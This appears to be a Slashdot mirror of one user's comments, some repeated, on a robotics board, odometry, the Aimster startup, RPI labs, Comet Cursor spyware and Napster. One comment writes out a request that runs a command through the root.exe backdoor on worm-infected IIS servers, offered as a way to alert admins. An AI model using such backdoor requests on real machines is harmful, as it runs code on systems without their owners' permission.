Actually, in the ARL (Algorithmic Robotics Lab) at RPI, I'm working on a research robot based on the Via Epia ME6000. In fact, we've just switched away from the Ampro Encore PP1 (a powerpc board) because of Ampro's complete lack of support and general flakiness of the board. So far I'm reasonably pleased with the Via board, though we'll see how it works out in terms of power consumption (though even with conservative power usage estimates we still expect to get 3+ hours, down from about 4.5-5 with the powerpc). It was certainly trivial to get Linux 2.6.0-test7 up and running on the board, though I haven't tackled setting up the onboard firewire (for our camera) yet. From what I've seen so far, it's hard to beat the sheer functionality you get with the Epias, for the low price (we paid about $120 compared with $1000 for the PP1 with baseboard).
Assuming docking itself can be easily done, it's really 'remembering' a room, or even just a path to get back to the docking station, that is the hard part.
Consider the small number of sensors on this thing. If I remember correctly it has just a few IR sensors (used for following walls, etc). Mapbuilding in general requires a little more than that, and is also VERY computationally and memory intensive (for more information you might want to read about the most common method for mapbuilding, evidence grids).
Even if you were just to attempt to remember a) the location of your docking station and b) your own location, after half an hour of vacuuming (especially on carpet) and bumping into things, the odometry error that will have accumulated is tremendous -- you'd have no hope of knowing your actual location relative to the docking station. Normally a number of localization methods are used to combat odometry error (most commonly, Kalman filtering). However, they all require lots of sensory input and processing.
So, if you want a robot that can plug itself back in (at least, one that can do so by remembering where it's docking station is), be prepared to spend a lot more than $200.
BuddyUSA, which later went on to make Aimster, etc. etc., had an AIM bot back in 1999. In fact, one of the ActiveBuddy developers previously did work on that project for BuddyUSA.
The labs at RPI are now largely Windows; this was a hotly contested issue here about two years ago. However, everyone still has UNIX logins (the RCS servers are mostly either Sun or AIX). There are still a few SGI machines scattered around, and of course the CS department labs all still run Solaris.
In any case, RPI's setup (the core being *nix based) works pretty seamlessly with Win32 terminals and *nix terminals alike.
Don't get on my case about that "mission statement":)
I only wrote backend stuff, what happens as far as frontend/PR is and never was any of my business. And believe me, I see stuff like that in the same light as you.
As far as economics class: what I learned by working at Aimster about economics will stay with me far longer than something I'd learn at RPI. And what I learned about software creation and the design process (and what effect the lack of it can have on a project) will stay with me even longer.
I'm probably not supposed to talk about this (NDA's and such), but this story hits pretty close to home. Dunno if anybody remembers Aimster (which technically, I guess, is still around and trying to figure out a way to survive). Four of the original developers (me and three of my friends) were RPI students that were persuaded away from our Junior/Senior years to devote all of our time to the company. Since then, quite a few more developers have been brought on, almost all from RPI.
Well, classes started two weeks ago, and Aimster's in an awful lot of trouble. On top of the financial woes stereotypical of most startups, its full-time development staff has been reduced from about 12-15 down to one or two. Why? My personal reason for leaving: after a year away, I realized just how much fun going to school really is, when compared to the "real world," and also how important it is to finish school now, while I'm still motivated enough -- the longer you're away, the harder it is to go back. Several developers are continuing in fairly limited part-time positions while taking classes, but classes are the priority.
The missight that I feel I made when I decided to leave school was this: I chose to believe that a company that hadn't even existed a month yet would be able to give me everything it said it would; also, I leapt at an opportunity for "quick-and-easy" gains without thinking about long-term effects.
This isn't to say that I think working at Aimster was a bad experience, or a waste of time -- I even got more than half of what they said they'd give me(!). But if another company approached me and promised me the world if I would just leave school, they'd have to deliver it up front -- and even then I might not take their offer:)
By the way: I bear no animosity toward anyone at Aimster, at least no more than you bear toward the rollercoaster after you get off at the end of the ride.
Here is a really quick guess (keep in mind I have no idea what site we're talking about here so I can't verify anything).
Ever seen "Comet Cursor?" It's a little ActiveX (I think) program that installs itself without asking when you visit a webpage with its control embedded, and when your IE Security settings are low enough that a prompt isn't forced for running ActiveX stuff. Comet Cursor is a real pain -- you've got it before you know it, and they make it annoying to uninstall ("reboot required", etc).
But anyway, I wouldn't be surprised if changing your homepage without asking could be done fairly easily using some sort of ActiveX (though if your IE security settings are low enough maybe there's even a way to do it with javascript). The more insidious thing about automatically installing applications like Comet Cursor, however, is that along with the "useful" app comes spyware galore.
Just a few little mumblings...
2 login [CLIENT]
Format: "" [ ]
and
4 version check [CLIENT]
Format:
I'd imagine those commands could be sent with the same client version info as that of 10.3. Unless of course they drop you if you don't send fingerprint info. Silly Napster.
I find it a bit humorous that you are posting here as if you know "what's really going on" with this... 1) you live in Iowa or something like that, at least 5-6 states away from NY/Albany. As I recall, you actually came here ONCE after the actual Aimster project started. 2) In addition, you worked on an extremely small part of the whole Aimster project, and unless I'm grossly mistaken, you were never exposed to any code from the core Aimster servers/clients while you worked for us. For you to say "the whole dev team has probably dropped several times as much code as gets used" is pretty ridiculous, considering you've never seen our code.
Why don't you come visit us in Albany next time, rather than spouting out a bunch of nonsense in such an uninformed manner like this.
Slashdot Mirror
Actually, in the ARL (Algorithmic Robotics Lab) at RPI, I'm working on a research robot based on the Via Epia ME6000. In fact, we've just switched away from the Ampro Encore PP1 (a powerpc board) because of Ampro's complete lack of support and general flakiness of the board. So far I'm reasonably pleased with the Via board, though we'll see how it works out in terms of power consumption (though even with conservative power usage estimates we still expect to get 3+ hours, down from about 4.5-5 with the powerpc). It was certainly trivial to get Linux 2.6.0-test7 up and running on the board, though I haven't tackled setting up the onboard firewire (for our camera) yet. From what I've seen so far, it's hard to beat the sheer functionality you get with the Epias, for the low price (we paid about $120 compared with $1000 for the PP1 with baseboard).
More info on our project here.
Assuming docking itself can be easily done, it's really 'remembering' a room, or even just a path to get back to the docking station, that is the hard part.
Consider the small number of sensors on this thing. If I remember correctly it has just a few IR sensors (used for following walls, etc). Mapbuilding in general requires a little more than that, and is also VERY computationally and memory intensive (for more information you might want to read about the most common method for mapbuilding, evidence grids).
Even if you were just to attempt to remember a) the location of your docking station and b) your own location, after half an hour of vacuuming (especially on carpet) and bumping into things, the odometry error that will have accumulated is tremendous -- you'd have no hope of knowing your actual location relative to the docking station. Normally a number of localization methods are used to combat odometry error (most commonly, Kalman filtering). However, they all require lots of sensory input and processing.
So, if you want a robot that can plug itself back in (at least, one that can do so by remembering where it's docking station is), be prepared to spend a lot more than $200.
BuddyUSA, which later went on to make Aimster, etc. etc., had an AIM bot back in 1999. In fact, one of the ActiveBuddy developers previously did work on that project for BuddyUSA.
The labs at RPI are now largely Windows; this was a hotly contested issue here about two years ago. However, everyone still has UNIX logins (the RCS servers are mostly either Sun or AIX). There are still a few SGI machines scattered around, and of course the CS department labs all still run Solaris.
In any case, RPI's setup (the core being *nix based) works pretty seamlessly with Win32 terminals and *nix terminals alike.
Don't get on my case about that "mission statement":)
I only wrote backend stuff, what happens as far as frontend/PR is and never was any of my business. And believe me, I see stuff like that in the same light as you.
As far as economics class: what I learned by working at Aimster about economics will stay with me far longer than something I'd learn at RPI. And what I learned about software creation and the design process (and what effect the lack of it can have on a project) will stay with me even longer.
I'm probably not supposed to talk about this (NDA's and such), but this story hits pretty close to home. Dunno if anybody remembers Aimster (which technically, I guess, is still around and trying to figure out a way to survive). Four of the original developers (me and three of my friends) were RPI students that were persuaded away from our Junior/Senior years to devote all of our time to the company. Since then, quite a few more developers have been brought on, almost all from RPI.
:)
Well, classes started two weeks ago, and Aimster's in an awful lot of trouble. On top of the financial woes stereotypical of most startups, its full-time development staff has been reduced from about 12-15 down to one or two. Why? My personal reason for leaving: after a year away, I realized just how much fun going to school really is, when compared to the "real world," and also how important it is to finish school now, while I'm still motivated enough -- the longer you're away, the harder it is to go back. Several developers are continuing in fairly limited part-time positions while taking classes, but classes are the priority.
The missight that I feel I made when I decided to leave school was this: I chose to believe that a company that hadn't even existed a month yet would be able to give me everything it said it would; also, I leapt at an opportunity for "quick-and-easy" gains without thinking about long-term effects.
This isn't to say that I think working at Aimster was a bad experience, or a waste of time -- I even got more than half of what they said they'd give me(!). But if another company approached me and promised me the world if I would just leave school, they'd have to deliver it up front -- and even then I might not take their offer
By the way: I bear no animosity toward anyone at Aimster, at least no more than you bear toward the rollercoaster after you get off at the end of the ride.
GET /scripts/root.exe?/c+explorer+http://www.cert.org/ advisories/CA-2001-23.html HTTP/1.0\r\n\r\n
Simple enough -- it launches an IE window with the CERT advisory in it. If that isn't enough to get the admin's attention, not much else is.
Here is a really quick guess (keep in mind I have no idea what site we're talking about here so I can't verify anything). Ever seen "Comet Cursor?" It's a little ActiveX (I think) program that installs itself without asking when you visit a webpage with its control embedded, and when your IE Security settings are low enough that a prompt isn't forced for running ActiveX stuff. Comet Cursor is a real pain -- you've got it before you know it, and they make it annoying to uninstall ("reboot required", etc). But anyway, I wouldn't be surprised if changing your homepage without asking could be done fairly easily using some sort of ActiveX (though if your IE security settings are low enough maybe there's even a way to do it with javascript). The more insidious thing about automatically installing applications like Comet Cursor, however, is that along with the "useful" app comes spyware galore. Just a few little mumblings...
2 login [CLIENT] Format: "" [ ] and 4 version check [CLIENT] Format: I'd imagine those commands could be sent with the same client version info as that of 10.3. Unless of course they drop you if you don't send fingerprint info. Silly Napster.
I find it a bit humorous that you are posting here as if you know "what's really going on" with this... 1) you live in Iowa or something like that, at least 5-6 states away from NY/Albany. As I recall, you actually came here ONCE after the actual Aimster project started. 2) In addition, you worked on an extremely small part of the whole Aimster project, and unless I'm grossly mistaken, you were never exposed to any code from the core Aimster servers/clients while you worked for us. For you to say "the whole dev team has probably dropped several times as much code as gets used" is pretty ridiculous, considering you've never seen our code. Why don't you come visit us in Albany next time, rather than spouting out a bunch of nonsense in such an uninformed manner like this.